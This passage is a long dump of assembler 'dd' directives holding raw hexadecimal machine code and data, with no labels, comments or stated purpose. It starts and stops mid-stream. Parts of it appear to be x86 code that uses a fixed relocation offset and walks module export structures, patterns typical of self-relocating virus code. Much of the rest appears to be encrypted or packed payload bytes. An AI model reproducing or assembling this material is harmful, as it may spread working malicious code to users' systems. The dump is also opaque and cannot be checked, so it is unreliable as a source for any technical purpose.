0EFAD48BDh, 840F0005h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 4C858908h, 8D05EFADh, 0EFADD3B5h dd 35858D05h, 0FF005B7Eh, 8B5A61D0h, 0EFAD4C85h, 4C205h dd 0AD4C858Bh, 8B05EFh, 0AD4C8589h, 0CF05EFh, 60000000h dd 0ADA9B589h, 858905EFh, 5EFADA5h, 1A91858Dh, 408B05EAh dd 0E2858944h, 8D05EFADh, 0EFAE18B5h, 35858D05h, 0FF005B7Eh dd 858B61D0h, 5EFADA9h, 0A59D8BC3h, 0F05EFADh, 33C43B7h dd 785B8BD8h, 0ADA59D03h, 738B05EFh, 0A5B50324h, 5605EFADh dd 8B207B8Bh, 0BD031C73h, 5EFADA5h, 0ADA5B503h, 83FC05EFh dd 8B41FFC9h, 0EFADA99Dh, 3178B05h, 0EFADA595h, 4C78305h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 0EFADA585h, 0A9858905h, 8B05EFADh, 8BCE8BF0h dd 0E2BD81C1h, 5EFADh, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 5EFADE2h dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 0E2BD8100h dd 5EFADh, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 5EFADE2h, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 50858DCFh dd 8905EFADh, 0EA1C8185h, 0E6858D05h, 8905EFADh, 0EA23E185h dd 0AD858D05h, 8905EFADh, 0EA1B9585h, 5E805h, 0F2D00000h dd 66A8F2B5h, 20CCC881h, 0ECBA6659h, 0B7C1818Eh, 0BA00005Ah dd 0D332F2Dh, 9E9FF33h, 0D5000000h, 19A82460h, 0A37D43ABh dd 0E90F34FFh, 12h, 0FE282548h, 0AF7E5FF0h, 5BFF01BFh dd 743141FEh, 665B89A8h, 81ED63BAh, 0A59C66EBh, 0C3B70F07h dd 0BF14EB81h, 81664796h, 811A09F6h, 0FC2CD9EBh, 0B966607Ah dd 81666CFFh, 611767DAh, 0F391C89h, 0E83h, 6E800h, 8A280000h dd 2B8076D5h, 0BE58D08Bh, 7398F4C1h, 8B02EF83h, 814F4FD0h dd 0FFA5ECFFh, 8D850FFFh, 0FFFFFFFh, 48Eh, 0CEBA6600h dd 0EE872h, 0C8B40000h, 0E2636E35h, 0A31B611Ch, 0F03309D6h dd 38E0F57h, 66000000h, 585AD68Bh, 9E9h, 95B34600h, 6B19E8FCh dd 0C08137DAh, 64DBh, 88B0Fh, 890F0000h, 2, 50BFF08Bh dd 811DE0F5h, 1F23ACC7h, 8BF18BE2h, 19880F18h, 0E8000000h dd 10h, 0D3DE31CBh, 43C6C7D9h, 992A816Eh, 8544C777h, 5AA1E580h dd 0CCD6EB81h, 0F565ADCh, 48Bh, 12BE6600h, 0C3815EFDh dd 2D509A61h, 71CDF381h, 31B11D3Bh, 8B661889h, 1E883D1h dd 615A5760h, 0F484848h, 0D84h, 8E900h, 0B30B0000h, 0EF6CCAC8h dd 0EF810AF2h, 1, 10850Fh, 0D18B0000h, 30E9h, 0F1E60000h dd 449A3725h, 890F642Eh, 12h, 0C8E0Fh, 7E90000h, 0A6000000h dd 0D5467E64h, 64E92B1Ah, 50FFFFFFh, 3180BCDEh, 211FC1E5h dd 81250D3h, 644B43EBh, 91AF44A7h, 8570B2F3h, 0F9348B07h dd 28711C7Bh, 6B84A5FDh, 15844980h, 5E258332h, 2A793945h dd 0F9896D21h, 29319D30h, 28383E3Dh, 4E67DD32h, 0C16D25B9h dd 28347442h, 95B7E560h, 2DDEEC8Fh, 18B0E132h, 0D1347732h dd 2837E0DBh, 34B6D232h, 4834EE32h, 0C1FEC83Dh, 2834BB20h dd 1515FC6Fh, 98CE862h, 0FBE64DC4h, 0DEE2DD9Fh, 27555CE3h dd 2834ECBAh, 0A5C5FC32h, 0C785A3B7h, 7F34B737h, 2834EDDAh dd 0EB6B5732h, 0C48326Dh, 0C705C36h, 2834F736h, 0EB633032h dd 87890763h, 0D9B419B6h, 4863BE5Ah, 283467DAh, 448E932h dd 8D7D2403h, 5B9359B3h, 532D8FDh, 0B48FE0BBh, 494BB7C0h dd 0C30676Bh, 2838F13Dh, 2FDDBB32h, 3834DD32h, 0C1E540E8h dd 0ADB9CC71h, 2DDB0BC8h, 0B8FC623Dh, 7864B465h, 92522460h dd 276E41B0h, 0E3BFBB03h, 42A4B668h, 2BDC2732h, 834BB32h dd 0A16C1E6Ah, 0A930CA76h, 35305376h, 6834BB32h, 0C8991E62h dd 7D0752EDh, 7C1CBCE6h, 24E92ECDh, 0FEBFD8D8h, 9F3B2EB9h dd 0F189F4C0h, 28315121h, 95B7D447h, 2DDEC0D7h, 782D0332h dd 90F43061h, 2834D948h, 254D6BBBh, 0B5B972D8h, 2DD866C7h dd 706F0ECDh, 6D153B1h, 5C3472D8h, 9067EB25h, 2834D948h dd 254D6BBBh, 0B5B972D8h, 2DD861D6h, 706F0ECDh, 2830653Dh dd 92527732h, 285E2944h, 28373565h, 7714EE32h, 54BD28F1h dd 6CB5BF16h, 2828D916h, 7F73EE32h, 49A4C1F1h, 6BC625F5h dd 0E8BF7EC8h, 0C061EE58h, 28347731h, 75F7E612h, 2C10B1BBh dd 2C10AAB3h, 28347727h, 9EF7EE77h, 2AA950FBh, 42310183h dd 2BDC2732h, 834BB32h, 0A16C1E6Ah, 0A930CA76h, 35305376h dd 6834BB32h, 3C541E62h, 69FAD8D1h, 0EE4767D3h, 0A33BDB52h dd 2834DD32h, 0E40C848Dh, 27DC1639h, 0A934BB32h, 45BD2B2Ch dd 10C373A9h, 0C6E259F4h, 9052285Eh, 496CF2A0h, 89936BBFh dd 285E72DDh, 28375360h, 7214DD32h, 7CBDB4F1h, 6CB57316h dd 2828BF16h, 7A76DD32h, 5BE33CF1h, 48437B4Dh, 0C1C87784h dd 2834DD26h, 0E412F29h, 3FC07AF5h, 639ACFADh, 0FE8C5877h dd 0DBB3A5B2h, 285EA7CDh, 28375367h, 7514DD32h, 44BDB3F1h dd 6CB57316h, 2821BF16h, 7D71DD32h, 4890C9F1h, 86127989h dd 0E83FDA42h, 2812593Dh, 24DDEE32h, 2C347732h, 0EFF40A10h dd 784F4085h, 0A555FD26h, 0C27856AFh, 4FA10437h, 2B8CBFBFh dd 0D734EE32h, 0FA8378D1h, 993E26BFh, 0A352D8DDh, 8FB163C3h dd 27319893h, 2834BBBEh, 23E42232h, 7DB0E1F2h, 42347732h dd 2BDCE932h, 834DD32h, 0A16E2D68h, 0A9305366h, 3F309F76h dd 6A34DD32h, 3CB02D60h, 0A5C1D065h, 0C2789AAFh, 7F34B737h dd 2834EDDAh, 0EB6B5732h, 0C48326Dh, 0C705C36h, 2834F336h dd 0EB633032h, 20551035h, 92E4255Ch, 298CFF68h, 27347732h dd 0CBCB4A85h, 993B40BFh, 2764EBDDh, 283472B6h, 0C5AC0532h dd 0A56EB76Ah, 0C79549B7h, 78341D37h, 2834B8DAh, 0EB6CFD32h dd 0C70676Ah, 0C70F636h, 2834AD36h, 0EB649D32h, 0D71D4ACCh dd 28279EE2h, 1C85BB32h, 53E8FF83h, 62FE1843h, 957D96EAh dd 0EACB09A8h, 27F4D65Eh, 2834DDB6h, 298B1132h, 9A93681h dd 4231377Eh, 2BDCBB32h, 8347732h, 0A169786Fh, 0A930F95Eh dd 3C30CA76h, 6D347732h, 4E767867h, 2B8C2AB9h, 0D734EE32h dd 0FBBF11D1h, 0A50B0D71h, 0C784258Fh, 0EEB96337h, 90319886h dd 0A27FE74Fh, 2E9D5801h, 0E71FEBD8h, 3E26BFF3h, 52D8DD99h dd 0B163C3A3h, 3198938Fh, 34BBBE27h, 0E4223228h, 83E1F223h dd 0A4F305E9h, 0E960C08Bh, 0Eh, 0CB2B9FD4h, 0ECA5251h dd 0AA1DB747h, 860FC47Ch, 1, 8B6661F5h, 6AC38BC8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 6E49C351h, 6F56BE2Fh, 83C08BCFh, 0EA13D9BDh, 9750005h dd 2EE5BD83h, 740005EAh, 8B535019h, 47AB8C0h, 85890000h dd 5EA0769h, 0DE5C9D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h dd 50177400h, 47AB853h, 85890000h, 5EA0769h, 0DAFD9D8Dh dd 0D3FF05ECh, 0AE9585Bh, 61000000h, 0FE23B902h, 509D0A59h dd 0F28166A6h, 0C1815C06h, 0DD915E5h, 8D8DC08Bh, 5EFB66Dh dd 0A9E08166h, 0DD8D8909h, 0F05EA0Ah, 386h, 0D88B6600h dd 0C7FA8B66h, 0EA0ACD85h, 6D7005h, 9D896000h, 5EA1601h dd 0C26ABB66h, 0F585C761h, 5EA25h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0A3FC350h, 0C00A6A83h, 0FFBFC366h, 0EA003DB5h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 31D37626h, 0DE8D6h, 0F13D0000h, 8B4198D2h, 4CA2581Eh dd 5BAE27D3h, 2A1995FFh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 78B7E4C3h, 12E9h, 3EC9B100h dd 0D75FDF79h, 76664D96h, 0A279CB13h, 6A5E9923h, 1595FF00h dd 8B05EA10h, 0BD4EEBC0h, 0D9BC0D1Fh, 8304169Ah, 9C61F7BCh dd 0A42B3AD9h, 9D641B84h, 0E7857A5Ah, 92BCB0F6h, 0E71A59AEh dd 20333945h, 0E88CB8ABh, 832B97C9h, 8C11E455h, 1D4FCF93h dd 0FB2DB8B2h, 2EF45E76h, 28379394h, 0BCA79A00h, 6AE093Bh dd 0C95546FEh, 15CE97Ah, 183B0000h, 4CC1F3CCh, 5FB195D4h dd 513B09C6h, 51F850CDh, 5F9309CEh, 769F50C5h, 238E39EEh dd 222350BCh, 7E79C79Ch, 0B19D6328h, 138750FBh, 1297508Ah dd 13DF508Ah, 13EB508Ah, 13F7508Ah, 13FB508Ah, 13D2508Ah dd 13FE508Ah, 1377508Ah, 13BF508Ah, 6A8C508Ah, 7E8A24F9h dd 61A7708Ah, 609E33E5h, 13FD0DF9h, 13FE508Ah, 137F508Ah dd 13BF508Ah, 13DF508Ah, 13EF508Ah, 13F7508Ah, 13FB508Ah dd 13FD508Ah, 13FE508Ah, 137F508Ah, 13BF508Ah, 13DF508Ah dd 13EF508Ah, 13F7508Ah, 13FB508Ah, 13FD508Ah, 13FE508Ah dd 137F508Ah, 13BF508Ah, 13DF508Ah, 13EF508Ah, 13F7508Ah dd 13FB508Ah, 13FD508Ah, 13FE508Ah, 137F508Ah, 13BF508Ah dd 13DF508Ah, 13EF508Ah, 13F7508Ah, 13FB508Ah, 13FD508Ah dd 13FE508Ah, 137F508Ah, 13BF508Ah, 13DF508Ah, 13EF508Ah dd 13F7508Ah, 13FB508Ah, 13FD508Ah, 13FE508Ah, 137F508Ah dd 13BF508Ah, 13DF508Ah, 13EF508Ah, 13F7508Ah, 13FB508Ah dd 13FD508Ah, 13FE508Ah, 137F508Ah, 13BF508Ah, 13DF508Ah dd 13EF508Ah, 13F7508Ah, 13FB508Ah, 13FD508Ah, 13FE508Ah dd 137F508Ah, 13BF508Ah, 13DF508Ah, 0BB8D508Ah, 64E9558Eh dd 68000016h, 5EFBA27h, 0FBA007E9h, 0BB4968FFh, 0FDE905EFh dd 68FFFB9Fh, 5EFBC44h, 0FB9FF3E9h, 0BD1D68FFh, 0E9E905EFh dd 68FFFB9Fh, 5EFBEAEh, 0FB9FDFE9h, 0BFD468FFh, 0D5E905EFh dd 68FFFB9Fh, 5EFC09Eh, 0FB9FCBE9h, 0C17968FFh, 0C1E905EFh dd 68FFFB9Fh, 5EFC39Dh, 0FB9FB7E9h, 0C48D68FFh, 0ADE905EFh dd 68FFFB9Fh, 5EFC555h, 0FB9FA3E9h, 0C5DC68FFh, 99E905EFh dd 68FFFB9Fh, 5EFC756h, 0FB9F8FE9h, 0CC1768FFh, 85E905EFh dd 68FFFB9Fh, 5EFCD23h, 0FB9F7BE9h, 0B5CDB8FFh, 324A315Eh dd 8DC5B6D9h, 0B430966h, 85BD8FE0h, 9614396Eh, 0E8876CA4h dd 6F00EB23h, 0EF806BA3h, 0AD0CE71Fh, 412FF194h, 9331E825h dd 1C34048Ch, 1390665h, 0D4A4C36Dh, 3FD1E9D7h, 0B3907B33h dd 0FDC4BDF2h, 35899898h, 0D4B148E2h, 0E235894Ch, 189CD41Ch dd 0AF90A841h, 8FB6DA81h, 1FFD1BEAh, 0A26ECDE8h, 0ADCC226Ah dd 0E81FFD7Fh, 4F508BACh, 49255D2Ch, 513F5A6Ah, 6F1638h dd 48F50000h, 0FF3B424Dh, 98922CB7h, 625B37F8h, 950385Bh dd 367BC46Ch, 246CA4E2h, 0CFAAC6CAh, 0E820AB42h, 919FFAC3h dd 0E8E820ABh, 0B37BE71Fh, 0DAA003DFh, 6504EAA2h, 0E820AAB7h dd 2EC2416h, 420B9865h, 0A0E8E40Ah, 0CF0A914Eh, 21E5ACFDh dd 5EFA415Bh, 351A3966h, 0B326711Dh, 84ACC9F0h, 64E820FEh dd 0E1E3C0ACh, 9F385244h, 0EBh, 1C34047Ch, 6BA395F2h, 0E21AE285h dd 6BA36B0Ch, 8E0EE980h, 9D6DE235h, 19E18E65h, 69240FE1h dd 0AA447C4Dh, 8E2EF297h, 0FA32E235h, 0E683FAB2h, 0E81F9BAFh dd 0B19279B1h, 0A7C2BBF4h, 0EE0C7A6Ah, 0D7EFDD7Eh, 47D3539h dd 0BF61043Dh, 0A1EE0C79h, 79E44C69h, 4C84EE0Ch, 907A1920h dd 9C620178h, 96A30864h, 23CD05F5h, 23A0C2Fh, 33B0D6Eh dd 8CF3B63Ah, 7F63CDCDh, 13BCh, 0CB205823h, 56BDD5A4h dd 0D3385039h, 5DB6CEBCh, 0DB304832h, 5923A18Ch, 0D8A5CA21h dd 58244BA0h, 0D4A4CB20h, 0CFF657BCh, 254386AAh, 0E7F85AE8h dd 71AD9A5Eh, 5FDDF804h, 78358A5Ch, 86A5EDD5h, 606C82BAh dd 0A99D6F0Ch, 0CDC32992h, 493078BBh, 0BC6E558Dh, 15703026h dd 0E236440Bh, 315D15DDh, 0CD05F59Ah, 0A09A70B4h, 513E34B9h dd 5E89963Dh, 5A364E3Dh, 2C1C3875h, 0AB9DFA14h, 39717D93h dd 0A46D0871h, 44E81FB7h, 1903628Ch, 2E81FB7h, 0D9EBB225h dd 973850FDh, 0D7h, 77340474h, 919D738Bh, 665037D9h, 46A1C02Eh dd 0A5E2358Eh, 3956BDD5h, 0FCD73951h, 843BFFC1h, 6C312D26h dd 4AF7154h, 12B1E236h, 145C142Ch, 129D086Dh, 8B43E820h dd 97F2CBF2h, 0E8201289h, 6EB2975Fh, 72E82012h, 5E7DD6BAh dd 0ED29505Fh, 612D0BC3h, 4FCBC729h, 0B1DDB138h, 1F23ED88h dd 0DC5EE0Dh, 11291774h, 0A69FF3FFh, 30DBF3C5h, 7C946605h dd 91F29E92h, 0B4566FA7h, 2FCD8C4Fh, 129A9D81h, 7A4D0000h dd 0F7C6A942h, 725B34DFh, 0F0DEB15Ah, 6A5C33D8h, 0C3EEB952h dd 0B45F7741h, 35DEF6DBh, 0B55E765Ah, 31DAF2DAh, 64CCA990h dd 4E82544h, 3204B9A6h, 3800631Ah, 236BA36Bh, 0C38BE44Fh dd 8951DFBAh, 0B417E235h, 6E628CC4h, 1D350526h, 4A1BE55h dd 728A7734h, 0CEB3909Ch, 7710FEB6h, 0CBA44F87h, 4324CA02h dd 0ECA8437Bh, 5F504D83h, 0A31E4326h, 0AC2E81Fh, 0D482AB3Eh dd 1895DFA9h, 0E8BEE97h, 0D2E593E4h, 0E3E24E2Bh, 663E593h dd 0E593E41Ah, 529A06CEh, 3700631Ah, 91FDF11Fh, 9761023Fh dd 0F19D917Fh, 0A9D0DFDEh, 0F30BF390h, 93D2FA9Fh, 4A73EB81h dd 940A1673h, 16DEEB81h, 8193ED33h, 573BF3EBh, 593A438Bh dd 354D3271h, 9AA3967Dh, 819431FFh, 0A39437EBh, 0C189856Bh dd 0FE119E2h, 3C0C6F03h, 93D05035h, 5890EB81h, 0DAB12910h dd 68C6D017h, 119F74h, 5D754000h, 0DAF2D9B6h, 556D5E31h dd 0D3EBD1BEh, 2D655738h, 3EBC91C6h, 0B0DF344Ch, 3758B3CBh dd 0B7D8334Bh, 0C5648FC7h, 459799FCh, 0EB49E825h, 1C3404F4h dd 0D3DCD9F2h, 9DDACFAAh, 86BE81Fh, 0F3A2C642h, 0D51A38E9h dd 137F739Dh, 639B6CCFh, 22C9818Dh, 0AB457D4Dh, 0F38A0580h dd 0FEC6B96h, 0E1847DEEh, 0EE0FEC3Fh, 206DE921h, 1DCC290Bh dd 9BF881C9h, 0CD6EAAB3h, 19FC84F4h, 4986AA8Fh, 925AEE10h dd 6E5E31DAh, 1293B856h, 1CF20AF6h, 18215810h, 2717947Bh dd 0AECBA7EFh, 0F4000043h, 0F794ED25h, 0D5B6CF07h, 0C3411CE8h dd 894A0EA8h, 4F232FC1h, 8BC38BE4h, 82AECBF2h, 66F3FFA3h dd 476CC2AEh, 55304946h, 0F9E9AFA4h, 1FB58C44h, 58C1AFBFh dd 10C6EAF6h, 2E190000h, 0AB92FD16h, 26177893h, 0A46A05EEh dd 1EE8876Ch, 775A0DE6h, 20CB03F5h, 0A14A824Fh, 21CA02CEh dd 0AD467E4Eh, 0D050350Ch, 90E82545h, 32042D32h, 0D3D2F11Ah dd 35C0A5DCh, 2BE81FB3h, 53300DE3h, 0B3BF5169h, 0B4CCBCDFh dd 0FC48305Fh, 12B9504h, 0ADD49C03h, 722FF194h, 0F931E820h dd 95103B95h, 0BF06631Ah, 0A1EE0A78h, 0A3F88769h, 145D2D38h dd 0A78AF71h, 74F5A9EEh, 0F9555E5Ch, 37F99C65h, 29EE09F0h dd 0AE1A9E1h, 5A236C29h dd 1390063h, 69B7D2EFh, 7FEE09F0h, 0F693FFB7h, 0F3F419FFh dd 0A0C729E1h, 0BAD9A0D8h, 7BD5B9D1h, 0A1786370h, 0B7D2ABE4h dd 0F9DE443Eh, 6E01EA22h, 0E988669Eh, 0F9DE5443h, 273EB922h dd 49CA0E57h, 732F0885h, 2A18FAAh, 8F47F9DEh, 0E287BEC7h dd 0F9DE023Eh, 66EEA22h, 0ECD74DA8h, 0DAB51E72h, 1F34DAF2h dd 0D68119Eh, 0FFC8ACB4h, 0FE4A3251h, 0BE4906E2h, 7F135BC1h dd 0B5806BA3h, 5C47E98Ch, 0D119FFC9h, 0B1AFF5BDh, 5C43ED88h dd 0DC25FFC9h, 0C95C77B9h, 0E9A169FFh, 5C2BF590h, 0F53DFFC9h dd 0B8F7B699h, 1365A4C1h, 0FD9E05B9h, 171BF50Dh, 13250B6Eh dd 0F33B05B9h, 0BF8B439Fh, 13EE5A2Ch, 67AB3EBAh, 0D6C82CAh dd 5B9031Fh, 453C7332h, 0A8B9C920h, 33197A0Bh, 63AB771Bh dd 7991791Ah, 0F8C4A792h, 0E21AE3C0h, 0F6C000Ch, 1D7E073Fh dd 0D779152Dh, 0B78EC6B0h, 0AFF0B3FBh, 35E2FE50h, 0AA00000Fh dd 234CA7DFh, 0A0CF245Ch, 3B54BFD7h, 0B9D63D55h, 0B5CB7CFh dd 0BAD2A426h, 39513E51h, 0B9D1BDD2h, 354D3D52h, 23467FDEh dd 0E82546FDh, 45E41E3h, 9EF11A32h, 0D6EF96AEh, 35896DB3h dd 0D7BB73E2h, 162E1E79h, 0B1D227F8h, 0D8F0DAC9h, 1E723A36h dd 0E7D78E49h, 596B44AFh, 5F3266CFh, 5F334B3Ch, 1412Eh dd 3404CD00h, 0A595F21Ch, 0E8A5866Dh, 8FC7FFCCh, 9D6293F6h dd 0A506E81Fh, 1AF4BCD4h, 1F9CB17Bh, 9A5D7AE8h, 50E04183h dd 43FF38h, 481C0000h, 5E3B424Dh, 0E81FB7B3h, 54C3350h dd 1FB7C060h, 2068A0E8h, 72AEC2CEh, 506954BAh, 1FB7EB35h dd 5935FDE8h, 1FB7F03Ch, 0DF1A3DE8h, 50FF06C6h, 0AECBF238h dd 0E81FAC82h, 0B3C2AE66h, 0A2h, 1C340450h, 0E0ACCFF2h dd 1E7B46A8h, 0E2358912h, 3A561ED6h, 0B9576F59h, 38D6EEDEh dd 0BC576F5Fh, 358E12D5h, 69A169E2h, 0ABE4A182h, 69C7B7D2h dd 0B87CE822h, 0C1518202h, 0DC006C95h, 3C0E6D14h, 0B680EF04h dd 0DE1DA79Eh, 0F856D377h, 0E0FE4h, 0ADE5D000h, 2A622946h dd 0A5DDAEC1h, 235B214Eh, 0BDD5A7C8h, 0AE2C0156h, 204FA4DCh dd 0A7C8235Bh, 2748A3DBh, 75D43F57h, 4807294Ch, 7BD9E825h dd 1A320464h, 0BAB5A763h, 8114E61Ch, 20939DF8h, 9D55E236h dd 0C6F5AF1h, 0E1ED033Bh, 0E61EEE8Dh, 3404120Dh, 0A595F21Ch dd 88F7395Ch, 21E9E235h, 4C291069h, 0E23588E4h, 8B204C84h dd 12FC14E4h, 4A337C39h, 1FA4F62Fh, 0C922EAE8h, 782DDh dd 32048E00h, 8795F41Ah, 0BCE23589h, 34DAF2DFh, 0FC244138h dd 0ECE23588h, 26674824h, 7C751069h, 6CE8253Fh, 0CEBEDDA4h dd 750BCFB6h, 0D4FDCE9h, 719FB781h, 0F259357Dh, 7B95AD9Dh dd 2B122A1Ch, 0D374068Bh, 45524EE0h, 9A00000Dh, 137C97AFh dd 90FF142Ch, 0EB846FA7h, 6906ED25h, 0DB8C679Fh, 4A8274F6h dd 0C901CEA1h, 49814D22h, 0C5FDCDA2h, 0D3B68F2Eh, 0E825494Dh dd 4AEB113h, 9EF11A32h, 457896AEh, 4C205826h, 804C5F2Fh dd 0FE9BA648h, 0E2358932h, 0FEB6FE36h, 0A154CF10h, 0F810FD9Eh dd 15761A16h, 2906ED25h, 3266CF9Bh, 2955h, 2A589C00h, 0C8DC09B9h dd 5E8695F9h, 0AE73439Ah, 563A425Bh, 35DC2333h, 79917AE2h dd 0AAD39B97h, 0A6CA02C9h, 0FFFDE9BEh, 1A02EDFFh, 3DE23589h dd 4F760F80h, 48245C2Ch, 253FDC2Dh, 3D448CE8h, 0BD566E5Eh dd 86E3EAD2h, 0E825409Ah, 2A02864Eh, 79C6962h, 0B8DF3179h dd 0E4EDDDCEh, 248E9F81h, 0C18941E8h, 0AE41CE2h, 99774E06h dd 32D374E0h, 0C6A809Ch, 8A7D0000h, 7F69972h, 824B24CFh dd 0CEA14Ah, 7A4C23C8h, 0D3FEA942h, 0C42F6751h, 45AEE6ABh dd 0C52E662Ah, 41AAE2AAh, 74BCD9E0h, 74E8254Ah, 3D5EC9D6h dd 556D5350h, 11FFB7BBh, 2A12711Dh, 0B39BFC12h, 0C93C08F0h dd 464960BBh, 39088CC4h, 0A6969888h, 48977931h, 4D3D28D3h dd 88EBDE35h, 646886BEh, 84992B08h, 1A573267h, 0B4000000h dd 1E02675Eh, 7DE23589h, 21E9758Dh, 933E284Dh, 0AEF6E235h dd 0FFFFFD16h, 424D48FDh, 8B9F5E3Bh, 8941E81Fh, 8B170667h dd 2304E81Fh, 0CDDFEDB8h, 0E0913850h, 58000001h, 0D33D553Bh dd 5EA0B3DFh, 6BFD089Ah, 5A363E57h, 35D71D3Fh, 78907CE2h dd 0C63B6FFCh, 3D7504D2h, 81B9812Eh, 493F3CF8h, 0CA9D9B96h dd 47F70C4Eh, 0D6BA180Bh, 122A127Dh, 49F79DFCh, 6A56E236h dd 0F7DBBC52h, 75EE31DFh, 0D08BB082h, 38503825h, 2F22E6D3h dd 641092CDh, 0B9A2CC73h, 0F9F59C3Dh, 0B2FDBA95h, 3B533B5Ch dd 0B7CFBFD0h, 4F643859h, 80C9E236h, 0DDF5DAB9h, 161A3F33h dd 0CAE2364Fh, 0BE396E02h, 95AD9EFDh, 381B777Bh, 326791ACh dd 14A44h, 3404A700h, 0FA1651Ch, 0D0E2B6D2h, 2047E985h dd 0E8CB2058h, 0FE9BE2ADh, 0E81FB807h, 9EFF11D9h, 0E81FB88Eh dd 603DB89Fh, 3850FA64h, 695C9054h, 96122A1Ch, 0B3A7D03Ch dd 0D1861EBFh, 74056921h, 3Eh, 424D4897h, 6970583Bh, 3589240Ch dd 440CC4E2h, 0F3CAA6AAh, 1FB86B96h, 0CCB57DE8h, 0C9A5DDAFh dd 0B8160667h, 4E07E81Fh, 0B80E1277h, 1AD2E81Fh, 0EFB62176h dd 3850FEDDh, 0A293h, 34047000h, 0A395F21Ch, 1AE2856Bh dd 0A36B0CE2h, 0EC023A00h, 7643A8E0h, 3ED2515h, 0D13760Fh dd 0D3E23589h, 5D12771Bh, 0BCE235A1h, 0AECDB4CCh, 4549A7DFh dd 917F9766h, 6F5AF19Dh, 877F4AABh, 0D0544A31h, 3580A4A1h dd 133C50A6h, 1641D92h, 0E823197Dh, 0B1D2AB63h, 0B648FC7h dd 4C300941h, 83D37655h, 0A46312Dh, 0AE990000h, 2B127D96h dd 0A697F813h, 24EA856Eh, 9E6807ECh, 0F7DA8D66h, 0A04B8375h dd 21CA02CFh, 0A14A824Eh, 2DC6FECEh, 50D0B58Ch, 10E8254Ch dd 3204ADB2h, 0AE9EF11Ah, 5E627D96h, 891E0267h, 0AC2E235h dd 890A1673h, 16DEE235h, 2831197Ah, 3588E34Dh, 54D85E2h dd 84BC8CEBh, 3D97B6Fh, 5E280000h, 11FB4F3Dh, 4A3B20D7h dd 0FCF01E56h, 959BD890h, 0F810FC18h, 6EACC9B0h, 72E825DAh dd 54518EBAh, 7A47225Bh, 6EEE100Ch, 32948A6h, 28EE100Ch dd 0C335A561h, 0A8300D9Ch, 0BD6893C4h, 3E416E2Fh, 368C1h dd 0A36B0800h, 32F13F5Ah, 3FF7EE10h, 0CFE9977h, 0C3D0BCF4h dd 35891A02h, 88B477E2h, 3251E235h, 0D2DE3048h, 9B1491BEh dd 81B981E2h, 0B0B1D4EDh, 55E81FA4h, 68450991h, 0E38F6614h dd 0CCEF73Fh, 67D3796Fh, 956D5C9h, 0BE890000h, 3B026D86h dd 0B687E803h, 341A759Eh, 0AE98F71Ch, 72A7D96h, 709BB385h dd 0F11A321Fh, 719AB29Eh, 0FD162E1Eh, 2000655Ch, 0C0E8254Dh dd 34047D62h, 0A34D8577h, 92DAF2C4h, 9E1F34DAh, 100D6811h dd 0D0E82540h, 2C6F318h, 6306BC98h, 0E82528BDh, 46EF6BA3h dd 8CA3CF9Fh, 82E79E11h, 0EE14F18Fh, 0D9E09951h, 14F174BCh dd 0D0BC74EEh, 0BCC58AE9h, 14F157D9h, 89C109EEh, 0F2490B62h dd 0B0ECEE14h, 7E90A894h, 20433A72h, 0E44F235Bh, 0B0C8B2D1h dd 0BAD2BFDCh, 0A3DBA0C3h, 360661CFh, 0F4CDF01Eh, 14F28F91h dd 654849EEh, 93ADF609h, 84ABC70Fh, 9AFF8609h, 0F3FEC8DFh dd 78704981h, 0EFC79AA5h, 88E5D41h, 66510000h, 0E3AAC52Eh dd 5E2F40ABh, 0DCA2CD26h, 56204FA4h, 0AF82D53Eh, 0C8235B2Dh dd 49A2DAA7h, 0C9225A26h, 55BED6A6h, 88A8CDF4h, 58E8254Eh dd 4D48E5FAh, 0C35E3B42h, 0A5E8253Fh, 8A77146Dh, 0A4680B72h dd 0C4AB006Ch, 1A31DFF7h, 86D149Bh, 0EE14F715h, 0C95732CBh dd 9FEE14F6h, 0DAF11F57h, 0BBD3BFDBh, 92EF8AF3h, 0B3F3FF06h dd 360E0B77h, 660A945Bh, 5244BEBAh, 1E2277EFh, 60796F56h dd 7CD2C79Ah, 80760h, 0D5EDD800h, 526A513Eh, 0ADE5D6B9h dd 2B632946h, 0A5DDAFC0h, 0B634194Eh, 8678CC4h, 8FE00B43h dd 0F608BC3h, 4DEC073Fh, 4E0F1174h, 73D1E825h, 7734046Ch dd 0D6387088h, 5FB1C9B1h, 54F45038h, 1BFFB3Eh, 9FF8165Eh dd 7C7799B1h, 19A6C6Fh, 36065F9Ah, 0ADAF51Eh, 0EE32675Eh dd 2A99A72Ah, 0B2DEA9BFh, 168C3h, 3D5E2000h, 556D5D4Eh dd 2A12711Dh, 0A2C1FC12h, 424EA0D8h, 457D4D2Eh, 9F108DAEh dd 9FB785E6h, 56AFCAF3h, 0EFE81F9Dh, 0EA86BE8Ch, 6CA49536h dd 0A54B834Fh, 0A198E1A9h, 1F9D5CC4h, 0A8C40CE8h, 12FF3B06h dd 474B3F5Ch, 0F923462Ah, 22E81FCDh, 0F9CBD205h, 0FF385110h dd 7997AF9Ch, 4C681975h, 0A1000000h, 0D633FD98h, 0FD35E81Fh dd 4D488291h, 0C42A6229h, 9CF980C8h, 0E81FB875h, 0C800C86Bh dd 30536E80h, 576F584Bh, 13FDB5B9h, 616731Fh, 17E81FB8h dd 39513D5Eh, 0E0B7DBD7h, 6C5132F5h, 0DAB6BA54h, 50FEEBF9h dd 0A58538h, 4660000h, 5C651C34h, 3588F739h, 0C7690CE2h dd 99E23588h, 6905CD51h, 0BED6A0C7h, 0F473750h, 9EB686E1h dd 